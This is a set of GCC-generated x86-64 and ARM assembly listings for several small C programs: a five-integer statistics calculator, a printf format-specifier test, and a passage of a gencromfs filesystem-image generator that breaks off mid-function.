mov r2, #0
beq .L37
bl __stack_chk_fail
.L37:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L40:
.align 2
.L39:
.word .LC26
.word 4092
.word .LC9
.word optarg
.word stderr
.word .LC10
.word .LC11
.word .LC12
.word .LC13
.word .LC14
.word .LC15
.word .LC16
.word .LC17
.word .LC18
.word .LC19
.word .LC20
.word .LC21
.word .LC22
.word .LC23
.word .LC24
.word optind
.word .LC25
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "382957.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "Enter 5 integers [SEPERATED BY A TAB]: "
.LC1:
.string "%d%d%d%d%d"
.LC2:
.string "\nSum: %d.\n"
.LC3:
.string "Average: %.2f.\n"
.LC4:
.string "Standard Deviation: %.2f.\n"
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rdi, -24[rbp]
lea rsi, -28[rbp]
lea rcx, -32[rbp]
lea rdx, -36[rbp]
lea rax, -40[rbp]
mov r9, rdi
mov r8, rsi
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov r8d, DWORD PTR -24[rbp]
mov ecx, DWORD PTR -28[rbp]
mov edx, DWORD PTR -32[rbp]
mov esi, DWORD PTR -36[rbp]
mov eax, DWORD PTR -40[rbp]
lea r9, -20[rbp]
lea rdi, -12[rbp]
push rdi
lea rdi, -16[rbp]
push rdi
mov edi, eax
call calc
add rsp, 16
mov eax, DWORD PTR -20[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
movss xmm0, DWORD PTR -16[rbp]
pxor xmm1, xmm1
cvtss2sd xmm1, xmm0
movq rax, xmm1
movq xmm0, rax
lea rdi, .LC3[rip]
mov eax, 1
call printf@PLT
movss xmm0, DWORD PTR -12[rbp]
pxor xmm2, xmm2
cvtss2sd xmm2, xmm0
movq rax, xmm2
movq xmm0, rax
lea rdi, .LC4[rip]
mov eax, 1
call printf@PLT
mov eax, 0
mov rdx, QWORD PTR -8[rbp]
sub rdx, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.globl calc
.type calc, @function
calc:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov DWORD PTR -20[rbp], edi
mov DWORD PTR -24[rbp], esi
mov DWORD PTR -28[rbp], edx
mov DWORD PTR -32[rbp], ecx
mov DWORD PTR -36[rbp], r8d
mov QWORD PTR -48[rbp], r9
mov edx, DWORD PTR -20[rbp]
mov eax, DWORD PTR -24[rbp]
add edx, eax
mov eax, DWORD PTR -28[rbp]
add edx, eax
mov eax, DWORD PTR -32[rbp]
add edx, eax
mov eax, DWORD PTR -36[rbp]
add edx, eax
mov rax, QWORD PTR -48[rbp]
mov DWORD PTR [rax], edx
mov rax, QWORD PTR -48[rbp]
mov eax, DWORD PTR [rax]
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, QWORD PTR .LC5[rip]
divsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
mov rax, QWORD PTR 16[rbp]
movss DWORD PTR [rax], xmm0
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -20[rbp]
mov rax, QWORD PTR 16[rbp]
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, QWORD PTR .LC6[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movsd QWORD PTR -56[rbp], xmm0
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -24[rbp]
mov rax, QWORD PTR 16[rbp]
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
pxor xmm6, xmm6
cvtss2sd xmm6, xmm0
movq rax, xmm6
movsd xmm0, QWORD PTR .LC6[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movapd xmm2, xmm0
addsd xmm2, QWORD PTR -56[rbp]
movsd QWORD PTR -56[rbp], xmm2
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -28[rbp]
mov rax, QWORD PTR 16[rbp]
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movsd xmm0, QWORD PTR .LC6[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
addsd xmm0, QWORD PTR -56[rbp]
movsd QWORD PTR -56[rbp], xmm0
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -32[rbp]
mov rax, QWORD PTR 16[rbp]
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
pxor xmm5, xmm5
cvtss2sd xmm5, xmm0
movq rax, xmm5
movsd xmm0, QWORD PTR .LC6[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
movapd xmm4, xmm0
addsd xmm4, QWORD PTR -56[rbp]
movsd QWORD PTR -56[rbp], xmm4
pxor xmm0, xmm0
cvtsi2ss xmm0, DWORD PTR -36[rbp]
mov rax, QWORD PTR 16[rbp]
movss xmm1, DWORD PTR [rax]
subss xmm0, xmm1
pxor xmm6, xmm6
cvtss2sd xmm6, xmm0
movq rax, xmm6
movsd xmm0, QWORD PTR .LC6[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
addsd xmm0, QWORD PTR -56[rbp]
cvtsd2ss xmm0, xmm0
movss DWORD PTR -8[rbp], xmm0
movss xmm0, DWORD PTR -8[rbp]
movss xmm1, DWORD PTR .LC7[rip]
divss xmm0, xmm1
movss DWORD PTR -4[rbp], xmm0
pxor xmm7, xmm7
cvtss2sd xmm7, DWORD PTR -4[rbp]
movq rax, xmm7
movsd xmm0, QWORD PTR .LC8[rip]
movapd xmm1, xmm0
movq xmm0, rax
call pow@PLT
cvtsd2ss xmm0, xmm0
mov rax, QWORD PTR 24[rbp]
movss DWORD PTR [rax], xmm0
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size calc, .-calc
.section .rodata
.align 8
.LC5:
.long 0
.long 1075052544
.align 8
.LC6:
.long 0
.long 1073741824
.align 4
.LC7:
.long 1084227584
.align 8
.LC8:
.long 0
.long 1071644672
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "382957.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "Enter 5 integers [SEPERATED BY A TAB]: \000"
.align 2
.LC1:
.ascii "%d%d%d%d%d\000"
.align 2
.LC2:
.ascii "\012Sum: %d.\012\000"
.global __aeabi_f2d
.align 2
.LC3:
.ascii "Average: %.2f.\012\000"
.align 2
.LC4:
.ascii "Standard Deviation: %.2f.\012\000"
.align 2
.LC5:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 40
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #56
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r0, .L4+4
bl printf
sub r0, fp, #32
sub r2, fp, #36
sub r1, fp, #40
sub r3, fp, #24
str r3, [sp, #4]
sub r3, fp, #28
str r3, [sp]
mov r3, r0
ldr r0, .L4+8
bl __isoc99_scanf
ldr r0, [fp, #-40]
ldr r1, [fp, #-36]
ldr ip, [fp, #-32]
ldr lr, [fp, #-28]
ldr r3, [fp, #-24]
sub r2, fp, #12
str r2, [sp, #12]
sub r2, fp, #16
str r2, [sp, #8]
sub r2, fp, #20
str r2, [sp, #4]
str r3, [sp]
mov r3, lr
mov r2, ip
bl calc
ldr r3, [fp, #-20]
mov r1, r3
ldr r0, .L4+12
bl printf
ldr r3, [fp, #-16] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+16
bl printf
ldr r3, [fp, #-12] @ float
mov r0, r3
bl __aeabi_f2d
mov r2, r0
mov r3, r1
ldr r0, .L4+20
bl printf
mov r3, #0
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC5
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word .LC4
.size main, .-main
.global __aeabi_i2d
.global __aeabi_ddiv
.global __aeabi_d2f
.global __aeabi_i2f
.global __aeabi_fsub
.global __aeabi_dadd
.global __aeabi_fdiv
.align 2
.global calc
.syntax unified
.arm
.fpu softvfp
.type calc, %function
calc:
@ args = 16, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #24
str r0, [fp, #-24]
str r1, [fp, #-28]
str r2, [fp, #-32]
str r3, [fp, #-36]
ldr r2, [fp, #-24]
ldr r3, [fp, #-28]
add r2, r2, r3
ldr r3, [fp, #-32]
add r2, r2, r3
ldr r3, [fp, #-36]
add r2, r2, r3
ldr r3, [fp, #4]
add r2, r2, r3
ldr r3, [fp, #8]
str r2, [r3]
ldr r3, [fp, #8]
ldr r3, [r3]
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L7
bl __aeabi_ddiv
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r2, r0
ldr r3, [fp, #12]
str r2, [r3] @ float
ldr r0, [fp, #-24]
bl __aeabi_i2f
mov r2, r0
ldr r3, [fp, #12]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r4, r0
mov r5, r1
ldr r0, [fp, #-28]
bl __aeabi_i2f
mov r2, r0
ldr r3, [fp, #12]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-32]
bl __aeabi_i2f
mov r2, r0
ldr r3, [fp, #12]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #-36]
bl __aeabi_i2f
mov r2, r0
ldr r3, [fp, #12]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r0, [fp, #4]
bl __aeabi_i2f
mov r2, r0
ldr r3, [fp, #12]
ldr r3, [r3] @ float
mov r1, r3
mov r0, r2
bl __aeabi_fsub
mov r3, r0
mov r0, r3
bl __aeabi_f2d
mov r2, #0
mov r3, #1073741824
bl pow
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dadd
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r3, r0
str r3, [fp, #-20] @ float
ldr r1, .L7+4
ldr r0, [fp, #-20] @ float
bl __aeabi_fdiv
mov r3, r0
str r3, [fp, #-16] @ float
ldr r0, [fp, #-16] @ float
bl __aeabi_f2d
mov r2, #0
ldr r3, .L7+8
bl pow
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r2, r0
ldr r3, [fp, #16]
str r2, [r3] @ float
nop
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L8:
.align 2
.L7:
.word 1075052544
.word 1084227584
.word 1071644672
.size calc, .-calc
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "120310.c"
.intel_syntax noprefix
.text
.section .rodata
.LC0:
.string "%Ld"
.LC1:
.string "%Z\n"
.text
.globl test
.type test, @function
test:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -16[rbp], 1
mov QWORD PTR -8[rbp], 2
mov rax, QWORD PTR -16[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call printf@PLT
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size test, .-test
.section .rodata
.LC2:
.string "%Lc"
.LC3:
.string "a"
.LC4:
.string "%Ls"
.text
.globl testAlwaysInvalid
.type testAlwaysInvalid, @function
testAlwaysInvalid:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov esi, 97
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
lea rsi, .LC3[rip]
lea rdi, .LC4[rip]
mov eax, 0
call printf@PLT
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size testAlwaysInvalid, .-testAlwaysInvalid
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "120310.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "%Ld\000"
.align 2
.LC1:
.ascii "%Z\012\000"
.text
.align 2
.global test
.syntax unified
.arm
.fpu softvfp
.type test, %function
test:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
mov r3, #1
str r3, [fp, #-16]
mov r2, #2
mov r3, #0
str r2, [fp, #-12]
str r3, [fp, #-8]
ldr r1, [fp, #-16]
ldr r0, .L2
bl printf
sub r3, fp, #12
ldmia r3, {r2-r3}
ldr r0, .L2
bl printf
sub r3, fp, #12
ldmia r3, {r2-r3}
ldr r0, .L2+4
bl printf
nop
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L3:
.align 2
.L2:
.word .LC0
.word .LC1
.size test, .-test
.section .rodata
.align 2
.LC2:
.ascii "%Lc\000"
.align 2
.LC3:
.ascii "a\000"
.align 2
.LC4:
.ascii "%Ls\000"
.text
.align 2
.global testAlwaysInvalid
.syntax unified
.arm
.fpu softvfp
.type testAlwaysInvalid, %function
testAlwaysInvalid:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
mov r1, #97
ldr r0, .L5
bl printf
ldr r1, .L5+4
ldr r0, .L5+8
bl printf
nop
pop {fp, pc}
.L6:
.align 2
.L5:
.word .LC2
.word .LC3
.word .LC4
.size testAlwaysInvalid, .-testAlwaysInvalid
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "99948.c"
.intel_syntax noprefix
.text
.local g_lzf_hashtab
.comm g_lzf_hashtab,65536,32
.local g_progname
.comm g_progname,8,8
.local g_dirname
.comm g_dirname,8,8
.local g_outname
.comm g_outname,8,8
.local g_outstream
.comm g_outstream,8,8
.local g_tmpstream
.comm g_tmpstream,8,8
.section .rodata
.align 32
.type g_delim, @object
.size g_delim, 77
g_delim:
.string "****************************************************************************"
.align 32
.type g_license, @object
.size g_license, 797
g_license:
.ascii " *\n * Licensed to the Apache Software Foundation (ASF) unde"
.ascii "r one or more\n * contributor license agreements. See the NO"
.ascii "TICE file distributed with\n * this work for additional info"
.ascii "rmation regarding copyright ownership.\n * The ASF licenses "
.ascii "this file to you under the Apache License, Version\n * 2.0 ("
.ascii "the \"License\"); you mayn`t use this file except in complia"
.ascii "nce\n * with the License. You may obtain a copy of the Licen"
.ascii "se at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n"
.ascii " *\n * Unless required by applicable law or agreed to in wri"
.ascii "ting, softwa"
.string "re\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n * implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\n"
.local g_offset
.comm g_offset,4,4
.local g_diroffset
.comm g_diroffset,4,4
.local g_parent_offset
.comm g_parent_offset,4,4
.local g_nnodes
.comm g_nnodes,4,4
.local g_nblocks
.comm g_nblocks,4,4
.local g_nhex
.comm g_nhex,4,4
.local g_ntmps
.comm g_ntmps,4,4
.align 8
.LC0:
.string "USAGE: %s <dir-path> <out-file>\n"
.text
.type show_usage, @function
show_usage:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rdx, QWORD PTR g_progname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC0[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.cfi_endproc
.LFE6:
.size show_usage, .-show_usage
.section .rodata
.align 8
.LC1:
.string "ERROR: Source <dir-path> %s is invalid\n"
.align 8
.LC2:
.string "ERROR: Source <dir-path> %s does not exist\n"
.LC3:
.string "ERROR: stat(%s) failed: %s\n"
.align 8
.LC4:
.string "ERROR: Source <dir-path> %s is not a directory\n"
.text
.type verify_directory, @function
verify_directory:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 176
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR g_dirname[rip]
mov rdi, rax
call strlen@PLT
mov DWORD PTR -172[rbp], eax
jmp .L3
.L5:
mov rdx, QWORD PTR g_dirname[rip]
mov eax, DWORD PTR -172[rbp]
cdqe
sub rax, 1
add rax, rdx
mov BYTE PTR [rax], 0
sub DWORD PTR -172[rbp], 1
.L3:
cmp DWORD PTR -172[rbp], 1
jle .L4
mov rdx, QWORD PTR g_dirname[rip]
mov eax, DWORD PTR -172[rbp]
cdqe
sub rax, 1
add rax, rdx
movzx eax, BYTE PTR [rax]
cmp al, 47
je .L5
.L4:
cmp DWORD PTR -172[rbp], 0
jg .L6
mov rdx, QWORD PTR g_dirname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC1[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call show_usage
.L6:
mov rax, QWORD PTR g_dirname[rip]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call stat@PLT
mov DWORD PTR -168[rbp], eax
cmp DWORD PTR -168[rbp], 0
jns .L7
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov DWORD PTR -164[rbp], eax
cmp DWORD PTR -164[rbp], 2
jne .L8
mov rdx, QWORD PTR g_dirname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC2[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
jmp .L9
.L8:
mov eax, DWORD PTR -164[rbp]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rdx, QWORD PTR g_dirname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC3[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L9:
call show_usage
jmp .L12
.L7:
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 16384
je .L12
mov rdx, QWORD PTR g_dirname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC4[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
.L12:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L11
call __stack_chk_fail@PLT
.L11:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size verify_directory, .-verify_directory
.section .rodata
.align 8
.LC5:
.string "ERROR: Destination <out-file> %s exists\n"
.align 8
.LC6:
.string "Existing file %s will be replaced\n"
.text
.type verify_outfile, @function
verify_outfile:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 176
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR g_outname[rip]
lea rdx, -160[rbp]
mov rsi, rdx
mov rdi, rax
call stat@PLT
mov DWORD PTR -168[rbp], eax
cmp DWORD PTR -168[rbp], 0
jns .L14
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov DWORD PTR -164[rbp], eax
cmp DWORD PTR -164[rbp], 2
je .L18
mov eax, DWORD PTR -164[rbp]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rdx, QWORD PTR g_outname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC3[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call show_usage
jmp .L18
.L14:
mov eax, DWORD PTR -136[rbp]
and eax, 61440
cmp eax, 32768
je .L16
mov rdx, QWORD PTR g_outname[rip]
mov rax, QWORD PTR stderr[rip]
lea rsi, .LC5[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
call show_usage
jmp .L18
.L16:
mov rax, QWORD PTR g_outname[rip]
mov rsi, rax
lea rdi, .LC6[rip]
mov eax, 0
call printf@PLT
.L18:
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L17
call __stack_chk_fail@PLT
.L17:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size verify_outfile, .-verify_outfile
.section .rodata
.LC7:
.string "/%s\n"
.LC8:
.string " * %s\n"
.LC9:
.string " %s/\n\n"
.LC10:
.string " * Included Files\n"
.LC11:
.string "#include <stdint.h>\n\n"
.LC12:
.string " * Private Data\n"
.text
.type init_outfile, @function
init_outfile:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov rax, QWORD PTR g_outstream[rip]
lea rdx, g_delim[rip]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rdx, QWORD PTR g_outname[rip]
mov rax, QWORD PTR g_outstream[rip]
lea rsi, .LC8[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 796
mov esi, 1
lea rdi, g_license[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
lea rdx, g_delim[rip]
lea rsi, .LC9[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR g_outstream[rip]
lea rdx, g_delim[rip]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 18
mov esi, 1
lea rdi, .LC10[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
lea rdx, g_delim[rip]
lea rsi, .LC9[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 21
mov esi, 1
lea rdi, .LC11[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
lea rdx, g_delim[rip]
lea rsi, .LC7[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov rax, QWORD PTR g_outstream[rip]
mov rcx, rax
mov edx, 16
mov esi, 1
lea rdi, .LC12[rip]
call fwrite@PLT
mov rax, QWORD PTR g_outstream[rip]
lea rdx, g_delim[rip]
lea rsi, .LC9[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE9:
.size init_outfile, .-init_outfile
.section .rodata
.LC13:
.string "/tmp/gencromfs-%06u"
.LC14:
.string "w+"
.align 8
.LC15:
.string "fopen for tmp file %s failed: %s\n"
.text
.type open_tmpfile, @function
open_tmpfile:
.LFB10:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edx, DWORD PTR g_ntmps[rip]
lea rax, -48[rbp]
mov ecx, edx
lea rdx, .LC13[rip]
mov esi, 32
mov rdi, rax
mov eax, 0
call snprintf@PLT
mov eax, DWORD PTR g_ntmps[rip]
add eax, 1
mov DWORD PTR g_ntmps[rip], eax
lea rax, -48[rbp]
lea rsi, .LC14[rip]
mov rdi, rax
call fopen@PLT
mov QWORD PTR -56[rbp], rax
cmp QWORD PTR -56[rbp], 0
jne .L21
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rax, QWORD PTR stderr[rip]
lea rdx, -48[rbp]
lea rsi, .LC15[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L21:
mov rax, QWORD PTR -56[rbp]
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L23
call __stack_chk_fail@PLT
.L23:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE10:
.size open_tmpfile, .-open_tmpfile
.type unlink_tmpfiles, @function
unlink_tmpfiles:
.LFB11:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -52[rbp], 0
jmp .L25
.L26:
mov edx, DWORD PTR -52[rbp]
lea rax, -48[rbp]
mov ecx, edx
lea rdx, .LC13[rip]
mov esi, 32
mov rdi, rax
mov eax, 0
call snprintf@PLT
lea rax, -48[rbp]
mov rdi, rax
call unlink@PLT
add DWORD PTR -52[rbp], 1
.L25:
mov eax, DWORD PTR g_ntmps[rip]
cmp DWORD PTR -52[rbp], eax
jb .L26
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L27
call __stack_chk_fail@PLT
.L27:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE11:
.size unlink_tmpfiles, .-unlink_tmpfiles
.type append_tmpfile, @function
append_tmpfile:
.LFB12:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1072
mov QWORD PTR -1064[rbp], rdi
mov QWORD PTR -1072[rbp], rsi
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -1072[rbp]
mov rdi, rax
call rewind@PLT
.L30:
mov rdx, QWORD PTR -1072[rbp]
lea rax, -1040[rbp]
mov rcx, rdx
mov edx, 1024
mov esi, 1
mov rdi, rax
call fread@PLT
mov QWORD PTR -1048[rbp], rax
cmp QWORD PTR -1048[rbp], 0
je .L29
mov rcx, QWORD PTR -1064[rbp]
mov rdx, QWORD PTR -1048[rbp]
lea rax, -1040[rbp]
mov esi, 1
mov rdi, rax
call fwrite@PLT
.L29:
cmp QWORD PTR -1048[rbp], 0
jne .L30
mov rax, QWORD PTR -1072[rbp]
mov rdi, rax
call fclose@PLT
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L31
